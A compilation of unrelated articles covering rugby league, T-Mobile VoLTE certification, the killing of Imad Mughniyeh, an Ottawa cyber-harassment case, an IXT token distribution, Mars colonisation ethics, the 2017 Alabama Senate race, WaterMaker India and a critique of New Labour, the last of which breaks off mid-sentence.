-Money to provide for his family has been Daniel Vidot's motivating force throughout his career but the hulking winger has revealed that 12 months in England convinced him that it was more important to be close to them.  Leaving English Super League club Salford with a year still to run on his contract, Vidot has taken a major pay cut in order to return to south-east Queensland but with the blessing of his mother is adamant that it is the right decision.  Vidot's cut-price two-year contract with the Titans was last week registered by the NRL and sees the former Raider, Dragon and Bronco return to the NRL with 53 tries from 111 games to date.  The 26-year-old spoke prior to his departure for England that leaving the NRL was the best thing for his mother, stepdad and four siblings whom he provided financial assistance to but has come to the realisation that being close to loved ones is more important than money.  "It was one of those things where I went away for the money to help the family out but there were times where I was homesick and just thinking about the family too much and I was missing them," Vidot told NRL.com.  "It became a thing where time with my family was more important than the money. That's why I made my decision to come back.  "It was obviously a massive move for me being on the other side of the world but I knew what I was doing it for and I was happy at the start.  "A few months over there it kind of started kicking in and when I got back after the season it became a thing where I thought whether I could do that again.  "Obviously I was missing my mother a lot and that's what drove me to come back.  "I came back at Christmas and my little nephew was starting to walk and talk and stuff like that and it kind of got me.  "After that Christmas period when I returned to England I had a big think about things and the opportunity at the Titans came up and me being from south of Brisbane I took it with both hands."  Vidot agrees to terms with Titans  Titans Nines hopes suffer further blow  Ryan James re-signs with Titans  Lure of a premiership keeps James at Titans  In addition to the offer from the Titans there were a number of Sydney-based clubs who expressed interest in bringing Vidot back to the NRL but the Samoan international said the tyranny of distance made the Titans the most appealing alternative.  Head coach Neil Henry and head of high performance Matt Ford were both at the Raiders when a sometimes wayward Vidot made his way through the junior grades but he says time and his experience in England have reinvigorated his desire to play to his potential.  Former Raiders coach David Furner once revealed that Vidot showed more interest in acting in local plays than training at times but he has set the highest goal possible with his new club.  "I want to get a premiership. I haven't come here to muck around," Vidot said.  "I reckon we'll definitely be contenders for the premiership this year. We're not here to make up the numbers, I reckon the boys are ready to dig in and we're looking good out there on the park.  "I was having a watch at them at the end of last season and they were getting some really good wins. There was lots of signs of life there and with the boys we've got, we've got the talent there to do it.  "I definitely had to take a pay cut to come back but those are the things I talked to my family about. I had a good chat to my mum about it but I think it was the right thing to do.  "I wasn't entirely happy over there, I got quite homesick at times but since I've been back I've been buzzing and my work ethic on the field has been a lot better than what it was in England.  "I'm really looking forward to the season and getting back into the NRL."
-How does voLTE Certification work? My understanding is that only phones on this approved list by T-mobile are supported on Band 12. Band 12 is the new Extended Range LTE band and T-Mobile is investing heavily in. My understanding is that voLTE Certification is something that T-Mobile does to ensure that a phone connected to Band 12 but out of range of other T-Mobile services to fall-back on (ex. 2G, GSM, and 3G HSPA+) can still dial 911.. If the phone lacked this ability, when they went to dial out on Band 12 they'd find they couldn't. Even if I'm wrong, VoLTE seems to have something to do with data and voice integration.  VoLTE calls already go through faster (twice as fast as other calls), and while on VoLTE, customers can enjoy wicked-fast LTE data while they’re on a call. Customers on the old carriers’ CDMA networks still can’t do that. Today, 27 million T-Mobile customers on 40 models of VoLTE-enabled phones are making over 300 million calls a day— well over half of all calls on T-Mobile’s network.  The voLTE process is expensive for the OEM and almost sounds like a shake-down by T-mobile:  Speaking off the record to one major smartphone vendor, we have learned that there are very real costs and complexities associated with obtaining that certification, and it must be done on a device-by-device basis.  And, one of the OnePlus developers said this  In terms of technical specs, supporting VoLTE is actually not so hard, but there's still a long way to go for users can actually use it. Why? Because VoLTE is carrier-specific, we needs to meet the carrier's requirements firstly then our users will be able to actually use it.  As if to say, we're only waiting on testing and certification.. Further, because T-Mobile had to ask Motorola to remove Band 12, I take it that the OEM (client side) has to disable B12 and not the carrier (server side).  Does that mean Cyanogen or other AOSP's can re-enable B12? I would think so, but even small OEM's selling unlocked universal phones like OnePlus have commented that they're having problems with voLTE Certification, so I guess it's not entirely software?  I understand T-Mobile's concern, but I simply don't care. Give me LTE if Band 12 is available and if my phone can't connect, well at least I've got decent data and I can use Google Hangout Dialer.
-Mughniyeh was wanted in connection with a series of attacks  Mughniyeh is widely believed to be behind a wave of Western hostage-taking in Lebanon during the 1980s.  He had been in hiding for years and was high on US and Israeli wanted lists.  The Israeli prime minister's office later issued a statement rejecting "the attempt by terror groups to attribute to it any involvement" in the killing.  Mughniyeh, in his late 40s, is variously described as special operations or intelligence chief of Hezbollah's secretive military wing, the Islamic Resistance.  Correspondents say his death is a significant blow to Hezbollah, which battled Israel in the 2006 Lebanon war, and its Iranian and Syrian backers.  Neighbourhood in shock  Syrian police kept media and other onlookers well away from the scene of the overnight blast in the well-to-do Kafar Soussa district.  With all pride we declare a great jihadist leader of the Islamic resistance in Lebanon joining the martyrs  Hezbollah's Manar TV  Notorious 'terror mastermind'  "Scores of police and intelligence officers rushed to the site. People in the neighbourhood are shocked," said one resident quoted by Reuters news agency.  "We saw security officers hauling the body away," said one witness quoted by Reuters news agency.  Hezbollah-owned Manar TV in Beirut announced the death saying: "With all pride we declare a great jihadist leader of the Islamic resistance in Lebanon joining the martyrs... the brother commander hajj Imad Mughniyeh".  "After a life full of jihad, sacrifices and accomplishments ... he died a martyr at the hands of the Israeli Zionists," it quoted a Hezbollah statement saying.  Later, the Syrian government confirmed Mughniyeh had been killed and said investigations were still underway to find the perpetrators.  IMAD MUGHNIYEH Born southern Lebanon 1962 Indicted for 1985 hijack of TWA airliner Accused of involvement in 1990s Buenos Aires bombings On FBI Most Wanted list since 2001  Who are Hezbollah?  "Syria, which condemns this cowardly terrorist act, expresses condolences to the martyr family and to the Lebanese people," Interior Minister Bassam Abdul-Majeed said in a statement.  Iran also condemned the killing, praising Mughniyeh as a martyr and describing the attack as "yet another brazen example of organised state terrorism by the Zionist regime".  Hezbollah said a funeral service would be held in its stronghold in the southern suburbs of Beirut on Thursday.  The city has been tense ahead of a mass rally also on Thursday to commemorate three years since the assassination of former Prime Minister Rafik Hariri.  There have been repeated clashes between supporters of the pro-Western government and the opposition, which includes Hezbollah.  High-profile attacks  Hezbollah was founded in 1982 by a group of Shia Muslim clerics after the Israeli invasion of Lebanon.  It has emerged in recent years as a major political and military force in Lebanon, after military successes against Israel.  Shia militants who went on to become members are thought to have planned some of the most high-profile kidnappings and attacks of the 1980s, including the 1983 suicide bombings in Beirut that killed hundreds of US and French service personnel.  Mughniyeh was among several suspects indicted in the US for the 1985 hijacking of a TWA airliner in which a US Navy diver was killed.  Israel believes he was involved in planning the 1992 bombing of Israel's embassy in Argentina in which 29 people were killed, and the blast at a Buenos Aires Jewish centre two years later that killed 95.  The Israeli government, which has been accused of a series of assassinations of its enemies in various countries over the years, stopped short of an outright denial that it had killed Mughniyeh.  HAVE YOUR SAY As a Syrian citizen, I have the right to be scared that Israel could bomb many sites inside the country Khalil, Syria  "Israel rejects the attempt by terror groups to attribute to it any involvement in this incident," Prime Minister Ehud Olmert's office said in a statement.  Israel was still investigating all reports as they emerged, it added.  But a former head of Israel's Mossad secret service, Danny Yatom, called the killing "a big achievement for the free world against terrorist organisations."  A spokesman for the US state department, Sean McCormack, described Mughniyeh as a "cold-blooded killer, a mass murderer and a terrorist responsible for countless innocent lives lost".  "The world is a better place without this man in it," he added. "One way or another he was brought to justice."
-The day Robert James Campbell quit his job, he went home and started plotting revenge against everyone he felt had wronged him in life. He says he didn’t leave his Ottawa apartment for seven months.  The online campaign of harassment and hatred he’s accused of launching spanned more than a decade. He is accused of creating fake online profiles to destroy reputations in short order, presenting his targets to the world as child predators, members of a Nazi party, exotic dancers and prostitutes.  Police roused Campbell on the morning of July 31 and arrested him on 181 charges of criminal harassment, identity theft and defamatory libel.  In what police called a cowardly and sophisticated online campaign, Campbell, 42, has been accused of terrorizing 38 victims in the United Kingdom, the United States and in Canada, 18 of whom are from Ottawa.  Awaiting his first trip through the legal system, he’s now at the Innes Road jail, where he shares a cell with two other inmates who sleep on the floor.  In an interview with the Citizen, Campbell publicly apologized to his alleged victims and says he has instructed his lawyer to file a guilty plea.  “I want to take the opportunity to apologize wholeheartedly to the people I have hurt. I hope in time they can forgive me, and I hope they can go about their lives, assured that I will never trouble them again,” Campbell said.  “Basically, I did what I did because I wanted some sort of revenge against the people who harassed me. At the same time, I didn’t think anyone would take the fake emails and LinkedIn accounts seriously,” he said.  He is resigned to a jail sentence, and said the Crown is seeking a five-year federal term. He said a sentence at a federal penitentiary would afford him the help he needs.  “As I pay my debt to society, I will continue to seek help with my mental health issues. My goal is that upon my release I can become a productive member of the community,” he said.  Born on July 29, 1972 in London, England, Campbell moved to Canada in 1993, and became a citizen in 1997.  He sounds proud when he talks about his Canadian citizenship, but then ashamed of what he is accused of doing.  In 2001, he says, he quit his job after he claims to have been subjected to unbearable ridicule, “general bullying stuff,” over 18 months at the office. He claimed colleagues mocked his accent and repeatedly made derogatory remarks.  The cyber attacks he’s been accused of perpetrating have been described as a constant online campaign of harassment.  Campbell, by his own account, says he had “escalated” his actions in the last year before a joint-police operation dubbed Project Winter led to his arrest.  “I got carried away and became desensitized to what I was doing,” he said. “I was under extreme mental duress when I did those things. I was deeply traumatized by past experiences and plagued by bad memories virtually every waking hour of every day.”  The online cyber-bullying not only attacked former colleagues of Campbell, but their families and friends.  Campbell is also accused of targeting people from his life back in England.  Everyone, it seemed had somehow wronged him but he now acknowledges that it was he who became the aggressor.  He is accused of creating fake email accounts designed to humiliate victims at their workplace with messages to co-workers about sex parties, their poor parenting skills and in one case, the intimate details of someone’s failed pregnancy.  He likens his arrest to an intervention and told the Citizen he is now focused on getting the help he says he needs.  “Thanks to the intervention of the police and the Crown, I now accept that I crossed the line into harassment. That said, I’ve never threatened anyone and I would never dream of hurting anyone physically. I know, though, that I am in the wrong and therefore I have co-operated fully with the police,” said Campbell, who said he’s been diagnosed with anxiety and obsessive-compulsive disorder.  At a recent court appearance, one victim, after 12 years of alleged harassment, expressed relief about Campbell’s arrest.  “Today is a great day,” said the victim. “It’s been a quarter of my life. That’s crazy.”  gdimmock@ottawacitizen.com  Twitter.com/crimegarden
-IXT Token Distribution  Insurex Team Blocked Unblock Follow Following Jul 23, 2017  23 July 2017  We are pleased to announce that our IXT tokens have been generated. Tokens that were bought during our regular crowdsale are now transferrable.  We would like to take the opportunity to thank you for all your contributions, support and patience.  If you participated in the regular crowdsale your wallet should already contain the IXT tokens. You would typically need to add IXT as a custom token with your own description for it to be displayed correctly. For example, in MyEtherWallet, click on Add Custom Token then enter:  Address: 0xfca47962d45adfdfd1ab2d972315db4ce7ccf094  Symbol: IXT  Decimals: 8  Presale Tokens  Those who participated in our presale will now be able to claim their tokens with the 56% bonus (1 Ether = 1758 IXT). Please follow the instructions below.  Make a transaction from the same account you made the first deposit. Your tokens are transferred to this account instantly.  Note: For those who used a different contract please replace the address below with the address you used.  Amount to send: 0 ETH  Address: 0x914774D266f39100b56C53C0563C3792f9403e0c (OR THE CONTRACT ADDRESS YOU USED).  Gas Limit: 250000  Data: 0xd1058e59  Note: Please make sure you set the Gas Limit and Data values correctly!  Please email support@insurex.co if you have any questions.  Scam Victims  If you fell victim of the scam caused by the Twitter or Intercom problem, you can claim the IXT by filling in the form below. Unfortunately there are people who are trying to take advantage of the scam and we want to protect our contributors and community and minimise the impact.  Note: We will only pay out to the original addresses who sent transactions to the scam contract. A 30 second Skype chat will be required before claims are paid out.  Bounty Hunt Tokens  We have generated the bounty hunt tokens and they will be distributed according to the records we keep in BitcoinTalk. We will receive the final data shortly and start the distribution accordingly.
-Over the next century, numerous nations may become interested in starting their own Martian colonies, which could lead to murky political and legal waters. Whose laws will apply where and to whom? What happens if rival colonies go to war? And what if the colonists decide to throw off the yoke of earthly oppression? How will Earth handle a Martian uprising? The authors ask these questions and more.  The first astronauts on Mars will be under unique psychological stress, they write, which logically leads to the first ethical issue the authors believe astronauts might face on their voyage: what to do with the body of a crew member that dies on the trip over. Jettison the body to float eternally in space? The Weekend at Bernie's approach? There's no simple answer.  The authors, an interdisciplinary team from the University of Information, Technology and Management in Rzeszow, Poland, argue that attention needs to be given to the challenges that will undoubtedly arise in the "new Martian ecological niche."  Wherever you go, there you are--even if it happens to be Mars. That's the gist of an essay recently published in the journal Space Policy. Colonizers of Mars may very well escape the grind of terrestrial life, but they likely won't escape the darker sides of their own natures, the authors suggest. This could lead to all sorts of interpersonal strife, legal quandaries, political chaos, and even existential crises, all of which could doom a fledgling colonial community.  "We suggest that the best situation could be the artificial acceleration of the biological evolution of the astronauts before they start their space deep mission."  At the heart of the essay's argument is the human tendency to do bad stuff to one another. In small "in-group" situations, like what you'd see in early Martian settlements, natural selection favors egoists and defectors over cooperators and altruists, the authors point out. Basically, jerks will rule on Mars. They will put the "ass" in astronaut, as it were.  Kids born on Mars may lack the sense of duty and lust for adventure of their astronaut parents. "Generations born on Mars will require specific pedagogical model," they write. "We suppose that a good cultural tool could be a new Martian religion."  Religion, say the authors, could help those born on Mars gain a sense of purpose and quell any existential dread they might feel due to the fact that they live on a planet that is entirely hostile to their very existence. What effect religion might have on the colonists' aforementioned white-hot lust for conflict, the authors don't say.  The essay ends with a rather bold proclamation: "We suggest that the best situation could be the artificial acceleration of the biological evolution of the astronauts before they start their space deep mission." That's the final sentence of the essay, so one can only wonder whether they are referring to a selective breeding program, gene therapy, or something else. But the suggestion is clear: human beings as we are today, with all our belligerence and egotism, just weren't built for life on Mars.  The authors' most lucid suggestion may have come earlier in the essay when they write that given all that could go wrong and the tremendous expense, the colonization of Mars might be too risky to justify. "Perhaps it would be better to focus on increasing the chances of survival on the Earth and for preventing the climate change."  That said, the establishment of a Martian colony would no doubt provide the basis for some truly great reality television. And given all the problems we face here on earth, it could prove cathartic.  Things are rough here, we'd say, but hey, could be worse. Could be Mars.
-The question hovering over the Alabama U.S. Senate election, at least for the pundits, was simple: Would Alabama Republicans rather vote for a child molester or a Democrat? The answer was sadly predictable: Even though the allegations against Republican Roy Moore -- that he had pursued or molested teen girls when he was in his 30s -- were entirely credible, white conservative voters still picked Moore over the KKK-fighting Democrat Doug Jones.  In the end, however, in a true miracle that concludes a bizarre year in American politics, Jones won the Alabama race in a squeaker. (At this writing, his margin over Moore is barely over 10,000 votes.) In the end, Jones' unexpected victory came because Democrats -- depressed after many years of never winning statewide elections in Alabama -- were fired up to vote, and turned out in big numbers sufficient to drown out the hard right.  Advertisement:  As Nate Cohn of the New York Times tweeted, the Alabama result was the direct result of the turnout gap closing:  The lesson here for Democrats is simple: Stop trying to win over Republican voters. Instead, turn out the Democratic base. Indeed, the lesson of Alabama, which Democrats should carry with them into the 2018 elections, is to focus on motivating the base. This was true in 2016, when Hillary Clinton lost largely because black turnout was down in several key states. It proved true in Alabama, where Jones was able to win the reddest of red states because black voter turnout was incredibly high, despite extensive Republican attempts at voter suppression in the state. Some of this was due to the high profile of the race, but a lot of it was due to aggressive efforts to get out the black vote in the state.  Clinton's biggest mistake in 2016 was believing she could use Donald Trump's obvious piggishness to chip off white female voters who usually vote Republican. It didn't work. The white conservative woman who has had enough of men's nonsense is a nice fantasy, but the reality is that such women are both too motivated by racial politics and too loyal to the men in their lives to break free. Jones' victory shows a different path forward. The focus on turning out the liberal base, and black voters in particular, paid off with a Democratic victory almost no one believed would happen.  Despite all the hope from pundits that all that talk about sexual morality would translate into white evangelicals voting against Moore, CNN exit polls show that 81 percent of such voters stuck with the tainted Republican nominee. None of this should be surprising. Posturing about sexual morality and the protection of children has always been a fig leaf for the true Christian-right goal, which is mandatory male-dominated heterosexuality for all. That's why so many Christian conservatives moved seamlessly from claiming that LGBT people were a threat to children to defending Moore for allegedly preying on children. It's also why the people who wax poetic about fetal life repeatedly vote against food, shelter and health care for actual children. They have never cared about children. It's always been a feint, a way to justify ugly attitudes about women's equality and LGBT rights.  As I argued last month, after the initial shock of the allegations wore off, conservatives were always going to rally around Moore: "Republicans in that state are likely familiar with the fetish that far-right evangelicals have for young teenagers. They aren't going to be all that surprised by any of this, let alone interested in holding Moore accountable."  That largely turned out to be true. A focus group organized by Frank Luntz for Vice showed that while some Moore voters tried to write off the accusations as lies, others simply made excuses for him, arguing that chasing young girls wasn't as big a deal — at least back in the glorious 1970s — as the supposedly "liberal" media was making it out to be.  Advertisement:  And of course this election was about race. CNN's exit polling shows 70 percent of white voters going for Moore and 95 percent of black voters backing Jones. While the allegations of sexual abuse and general creepiness dominated national headlines, the election was as much about racial politics as anything else. On one hand, Moore was an obvious racist, who invoked nostalgia for slavery and has championed the "birther" conspiracy theory about Barack Obama. Jones, on the other hand, famously put away the Klansmen responsible for the Birmingham church bombing. These differences matter to black voters, of course, but they also matter to white voters. The politics of white supremacy still matter, which is why candidates like Moore or Donald Trump can be overt racists and not only retain the white vote, but sometimes run up higher margins.  The lesson here is simple: Democrats should stop chasing those elusive Republicans who have had enough. Generally speaking, they will vote for a child molester over a Democrat. There is no "too far" for Republicans, at least when it comes to beating Democrats. Instead, stop treating constituencies that loyally vote for Democrats as an afterthought, and put them first, both in policy and in organizing. In June, a letter from black female leaders to the Democratic Party made exactly this point, calling on the party to spend more time valuing its core voters instead of chasing the white whale of the "moderate" Republican. Alabama's results prove that.  It's not just because Moore was repeatedly and credibly accused of being a child molester. The liberal base is angry, organized and ready to go. A Democrat won Alabama -- in an off-year special election. In less than a year, the question will be whether the Democrats can replicate that victory on a large scale across the country. Odds are looking good, if the party pays attention to the real lessons of this miraculous victory.  After Alabama votes, what's next? Tune in to "Salon Talks" Wednesday at 12 p.m. ET and 9 a.m. PT to watch Salon's Amanda Marcotte, Alyona Minkovski and Jeremy Binckes break down what the results of Tuesday's Senate election mean now and looking ahead to 2018. Watch "Salon Talks" on Facebook, Periscope and Salon.
-In a country where women often have to walk miles to find and collect drinking water for their families, the WaterMaker project to produce water from thin air is no less than magical. It is, in the words of one grateful recipient, “khuda ka paani.”  What is the first thing that comes to mind when you hear the words: “producing water from air”? When Meher Bhandara, the founder and director of WaterMaker India, heard them, she was intrigued. “Water from air? How is that possible?” she wondered.  Today, Meher and her small team of eight people, are making it possible for many places in rural India to enjoy clean and pure drinking water produced right out of air.  “When we first heard of this technology in 2004 from a scientist in the US, we laughed. But after he told us more about it, the first thought that struck us was that India needed clean drinking water desperately. We checked out the machines that use this technology and were really amazed. As social entrepreneurs, we decided to make these unique Atmospheric Water Generators (AWGs) in India, so we could provide clean and healthy drinking water to people who needed it the most…Today we are proud to say that we have the largest range of AWGs — producing from 120 litres to 5000 litres per day. We also export these WaterMakers (AWGs) to many other countries,” says Meher.  Meher and her team took part in an exhibition in Delhi, where they showcased one AWG machine just to see how people would react to it. “The people were completely amazed. They could actually see drops of water forming from thin air. People were literally walking around the machine and looking under it to see if there were any hidden pipes.”  It was then, in 2004, that they decided to manufacture the machines in India itself so as to have control over the quality and delivery of the machines.  How does it work?  So how does air lead to the production of water? The machines work basically on the simple refrigeration technique of condensing the humidity in the atmosphere and collecting the resultant water. After the condensation process, the water is passed through various filters to purify it, resulting in clean drinking water.  “Our technology is most effective in areas where the temperature is between 25 and 32 degrees Celsius, with relative humidity conditions over 65-75% or more. Producing water directly from air, WaterMakers need no water source. Using electricity or any alternate energy source, we use techniques optimized to condense water from air. Water quality complies with WHO/BIS standards and the water contains no harmful chemicals, bacteria, pesticides, or minerals,” explains Meher.  Inside villages in India  WaterMaker India is a for-profit company, which aims to give back to society through its CSR (corporate social responsibility) initiative. With the help of this amazing technology, the company has made Jalimudi in Andhra Pradesh the first village to have drinking water supplied from air. Like many other parts of rural India, this village too was facing several issues like lack of pure drinking water, ground water being contaminated, and villagers walking long distances to collect water.  “Our very first project was our own CSR project at Jalimudi village in Andhra Pradesh, where we set up an Air Water Station in 2009 to provide safe drinking water to over 600 villagers. We have just installed another Air Water Station at Gandhigram in Gujarat for the local water authorities. The first one was already installed for the villagers in April, 2015, and consisted of two 1000 litre WaterMakers, which generate 2000 litres of fresh drinking water per day, and three storage tanks. An insurance company has also set up WaterMaker drinking water stations at night libraries for students in Mumbai and more projects are in the planning stages.”  The Future  “We are not a completely green technology yet because we need power to run the machines. We hope to change this in the future with solar, wind, and alternate power sources. Can you imagine if we have alternate power giving alternate water, what a great thing that would be? That is my ambition right now,” says an excited Meher. She also plans on expanding the reach of WaterMaker by working with more government initiatives and NGOs, so as to impact as many people as possible.  The Impact  “When we set up our very first Air Water Station at Jalimudi village in 2009, the villagers were thrilled to see water being produced from air, drop by drop. I was extremely touched when a very old lady came up to me and blessed me, saying ‘you have given us Khuda ka pani!’ She had tears in her eyes and so did I. The women and young girls who had to walk almost 3 kms every day to collect water couldn’t thank me enough for this ‘magical water,’ which would save them precious time for more productive activities. I will never forget the look in their eyes and am determined to set up many more WaterMakers wherever I can. Though we are a for profit organization, I also firmly believe in giving back – drop by drop!” concludes Meher.  To know more about WaterMaker India, you can visit their website here.  Like this story? Or have something to share? Write to us: contact@thebetterindia.com, or connect with us on Facebook and Twitter (@thebetterindia).
-New Labour combined two fundamental elements in its energetic break with the lethargy, nostalgia and incompetence of Old Labour: emancipation and centralisation. The long struggle to modernise the left culminated in a coup, staged with exceptional discipline and determination by Tony Blair, Gordon Brown and Peter Mandelson. Their authoritarianism was in part a response to the equally bullying sectarianism of the left. At the same time, it drew inspiration from the audacity of the boardroom, the idea of human rights and the world of international wealth and power. New Labour's "market pluralism" offered freedom from the narrow oppressions of both the labour movement and ruling-class elitism. Along with its grasping for power, celebrity and control, there was the liberating potential for democracy and reform. But that promise has now been sacrificed to the claims of an enlightened despotism.  At the time of the 2005 election, the columnist Polly Toynbee, concerned the Tories might win because of Labour abstentions over the Iraq war, offered anyone who would go to the polls rather than sit on their hands in disgust "a free wooden nose peg with Vote Labour on it". If you wanted a better society, you should hold your nose and vote the party back in, was her influential call - and it succeeded.  Rightly, Toynbee had a positive assessment of what Labour had initially achieved. And, looking forward, she argued that the main reason for re-electing the party in 2005 was that Blair would be replaced by Brown. Toynbee seemed to believe, as I and many others did, that Brown would reignite the democratic, progressive and egalitarian side of New Labour when finally he had the chance to lead it. He read books. He knew the arguments. He was passionate about helping the poor and was a dedicated constitutional reformer, convinced of the need to engage with the public.Many saw through this, however - Scots especially. When I argued that Brown would be different, the journalist and former New Statesman editor John Lloyd, a Blair supporter, was emphatic that I was projecting my desires on to Brown, who would prove to be no better. Lloyd was right.  The pity of it was that Brown did launch his premiership with the promise of constitutional renewal, and the initial popularity he gained was more than just relief at Blair going. Voters wanted a new approach. Brown had the capacity and the advisers to understand this. But to summarise what happened between July 2007 and June 2009: he could have chosen democracy; instead he chose Mandelson.  Last summer he had another chance. The MPs' expenses scandal broke. Among leading British politicians outside the Liberal Democrats, he was perhaps the only one who could claim he had always wanted bold measures to sweep away a broken system with a new settlement. He chose not to. I mention this history to distinguish the situation now from that which obtained in 2005. One has to make a judgement about the direction a party's leaders are taking. The government is firmly in the hands of Brown and Mandelson, who have an unquenched will to power. Any victory will be theirs. We can judge them by their settled support for global capitalism, inequality, authoritarianism and deception.  Global capitalism  In the 1980s the left lost its sense of the future while capitalism, turbocharged by new technology and world trade, projected itself as a planetary project now known as "globalisation". Brown embraced globalisation as socialism in a new guise: a wealth-creating substitute for internationalism that would provide the levers to transform Britain.  Though an obvious shift to the right, his move retained a vanity that often blemishes the left - the belief that one's role is to be the vanguard of the inevitable force of history. New Labour had its own version of this peculiar combination of determinism and voluntarism: in its jargon, we had to embrace science-based, market-driven modernity, or else suffer the ignominy of becoming yesterday's story.  On 19 February this year, speaking at an event for "progressive governance", Brown positioned himself for the coming election with a restatement of this creed:  With globalisation we have a unique chance to recognise our global independence as citizens and work towards a truly global society: towards a world free from climate-change catastrophe; and a world free from terrorism, poverty, disease, illiteracy and inequality.  Together my proposals are the modern progressive way of achieving our historic goals of economic progress, social justice and environmental care.  To achieve this, he called for nothing less than a "constitution for the global financial system". This was a proposal of Blair-like hubris. But what was the contribution regular folk were expected to make towards achieving Brown's "historic goals"?  I believe that as we [develop] the skilled jobs of the future we should see social mobility as the modern route to social justice and devise together the radical measures to massively accelerate the rate of social mobility in our societies.  Apparently we must adopt a planetary form of Tebbitism, where everyone has to get on their bike and pedal all the harder to achieve social justice - mobility without liberty.  Behind this supposedly inspiring vision, the hard edge of Brown's global economics had been set out by Mandelson in a speech to the Work Foundation early the previous month. This was a well-crafted case announcing some sharp proposals, appointments and intelligent policies to encourage economic development outside the financial sector but:  First and foremost we need to foster a new climate for enterprise in Britain. There is no substitute for this - no substitute for the drive and ambition that it brings. It can sometimes be a touch ruthless and raw. But it is the single most important engine of economic progress . . .  Enterprise and reward go hand in hand.  Much as it shocked many of my friends when I said I was comfortable with people making themselves "filthy rich", in the context I was speaking I was simply stating a simple truth: that enterprise and effort should be rewarded. It sets goals to spur people and brings gains to us all. And it is often forgotten that I added the important rider "as long as people pay their fair share of taxes".  That's people paying taxes, not businesses. There was no recognition in the speech that public spirit and investment can also drive growth and progress. Mandelson restated an approach that led to Private Finance Initiatives, privatising the delivery of the health service, and now the disastrous subordination of scholarship to commerce. At first he was a tart for deregulation. Now a touch of government is needed. But we can rest assured that it is only in order to manage Britain as a free market for the good of global capitalism.  Inequality  New Labour's embrace of globalisation has turned it into an offshore government, judging domestic policy by its appropriateness for international finance and investment. This has disabled Labour's social democrats (and they do exist, in both government and party) from addressing inequality with the self-belief required to make a lasting difference. There is no point to social democracy if it doesn't make society less unequal. How to do this with respect to education, opportunity and income may be complicated, but an egalitarian state is, in my view, a prerequisite to succeeding. Debate on these matters, however, can't begin unless the fundamental ambition is articulated in the first place and acted upon. New Labour has made Britain a better place to live, but is it attempting to make it more equal? Is it a social-democratic or a right-wing government?  Equality here is not a matter of assisting the poor, imperative though that is. As Richard Wilkinson and Kate Pickett show in their book The Spirit Level, it involves diminishing the overall levels of difference, holding down the corrupting and degrading effects of widening inequality between top and bottom.  The answer under Blair was clear; he refused to countenance greater equality. Now, under Brown, with Harriet Harman's Equality Bill and the creation of the Government Equalities Office, a serious effort is being made to measure what is happening. This is one of the tricks of Brown's trade. However superficial his policies may turn out to be, he exercises his hegemony by occupying what can be described as the mental terrain of an issue. Raise the question of a social problem under Labour, and a barrage of reports, initiatives, consultations and other evidence will be produced to show how deeply the party knows and how seriously steps are being planned - as if Labour were in opposition, struggling to make a difference. An example is the outstanding report from the National Equality Panel, An Anatomy of Economic Inequality in the UK, published in January. It shows that Britain would have been even more unequal had the Conservatives won the 1997 election - hardly a cause for self-congratulation - and maps the Himalayan rise of top pay and wealth. They know what they are doing.  The housing shortage symbolises the nature of Brownian policy towards inequality. He had more than ten years to see it coming. He saw it coming. New Labour permitted housing shortfalls that fed the inflation of property prices and could only exacerbate unfairness. When he became Prime Minister and planned a snap election, he pledged an additional 250,000 homes. As with constitutional renewal, the promise makes the failure all the more despicable. So what was Brown doing? Instead of building homes, he was doing all he could to help the City. After he had been anointed Labour leader, but just before he was to replace Blair, Brown gave his final Mansion House speech as chancellor on 20 June 2007. On his watch, the City had become the world's leading financial centre. No sign of shortages here:  I congratulate you, Lord Mayor and the City of London, on these remarkable achievements, an era that history will record as the beginning of a new golden age for the City of London . . . And I believe it will be said of this age, the first decades of the 21st century, that out of the greatest restructuring of the global economy, perhaps even greater than the Industrial Revolution, a new world order was created.  Don't just blame the bankers.  So let me say as I begin my new job [as Prime Minister], I want to continue to work with you in helping you do yours, listening to what you say, always recognising your international success is critical to that of Britain's overall, and considering together the things that we must do - and, just as important, things we should not do [my italics] - to maintain our competitiveness . . .  Top of his list of what we should not do was "a British Sarbanes-Oxley", the act passed in the US in 2002 after the collapse of Enron. Thus Brown explicitly opposed the need for regulation that he now maintains is essential to the construction of his new world order. Helping make Britain a more equal society was not openly listed as one of the things "we should not do", but the implication was obvious.  Given its tremendous differentials of wealth and income, Britain needs a major party whose core mission is greater equality. This ought to be the Labour Party. Its policy advisers are now much better equipped to introduce intelligent and effective ways of achieving this. But if the government remains under the control of Mandelson and Brown, it won't embrace them. Labour has to sort itself out in opposition before it can present the electorate with a credible commitment to a "fairer way forward".  Authoritarianism  In the mid-1980s, Robin Cook told me a story whose veracity I have not been able to confirm, but which has stayed in my mind. Cook had been at a private gathering in Europe during Jim Callaghan's premiership. Monetarism (what today we would call "neoliberalism") was the subject under discussion. Nigel Lawson told the gathering that Britain did not have the conditions to introduce monetarism. Asked what these were, Margaret Thatcher's future chancellor answered, "Water cannon."  That was at the dawn of neoliberalism. Thatcher and her cabinet subsequently found the requisite conditions: a successful war, a stupid miners' leader who opened the way to a confrontation that destroyed Labour's praetorian guard, huge cash surpluses generated by North Sea oil, Rupert Murdoch, and a realignment of economic power that brought immense productivity increases in its train.  The political culture that accompanied this change replaced the stiff upper lip and consensus politics with a boastful, authoritarian spirit. But if intimidation was essential to the implementation of the free market it also helped unstitch a historic nation. Thatcher incarnated the tension, agreeing to an EU single market while trying to say "No" to Brussels. It proved even harder for her successors. Blair tried to become a war leader, too, but, unable re-create her populism, turned to faith. Brown attempted a redefinition of Britishness, to deserved derision.  But below the radar, and from early in the New Labour years, he and Blair initiated an audacious and sustained "transformation of government". Its ample official documents, never debated by parliament, set out to restructure the relationship between the state, citizens and business. It is a programme for a "database state" in which government departments can transfer information on citizens without them knowing, where surveillance is ubiquitous and government becomes the corporate deliverer of Britain's inhabitants to the marketplace. The "DBS", as it is cheerfully known, presents a novel and formidable challenge. A supporter recently told me that the database state is "inevitable and desirable. What we need are strong rights within it, iron-clad privacy within a context of the DBS."  But there cannot be "iron-clad privacy" within its context. That is the whole point. And I was struck by the combination of the “inevitable" and the "desirable", of fate and enthusiasm, the coin of New Labour from the start, merging delight in power with historical inevitability.  We are entering a new kind of constitution, one overseen not by judges, but by the Association of Chief Police Officers, organised as a private company outside the reach of Freedom of Information. The state that results can penetrate our daily lives at will without a warrant, log our movements, demand to know our intentions when we travel and compile, as with the DNA database, police records that imply guilt irrespective of charges, let alone a verdict.  Central to this redefinition of what it will mean to be British is the National Identity Register, with the ID card as its visible expression. This is not a card that permits us to claim our rights as with a passport, which was meant, as the name itself records, to be a laissez-passer, a right to travel. The UK identity card is closer to the 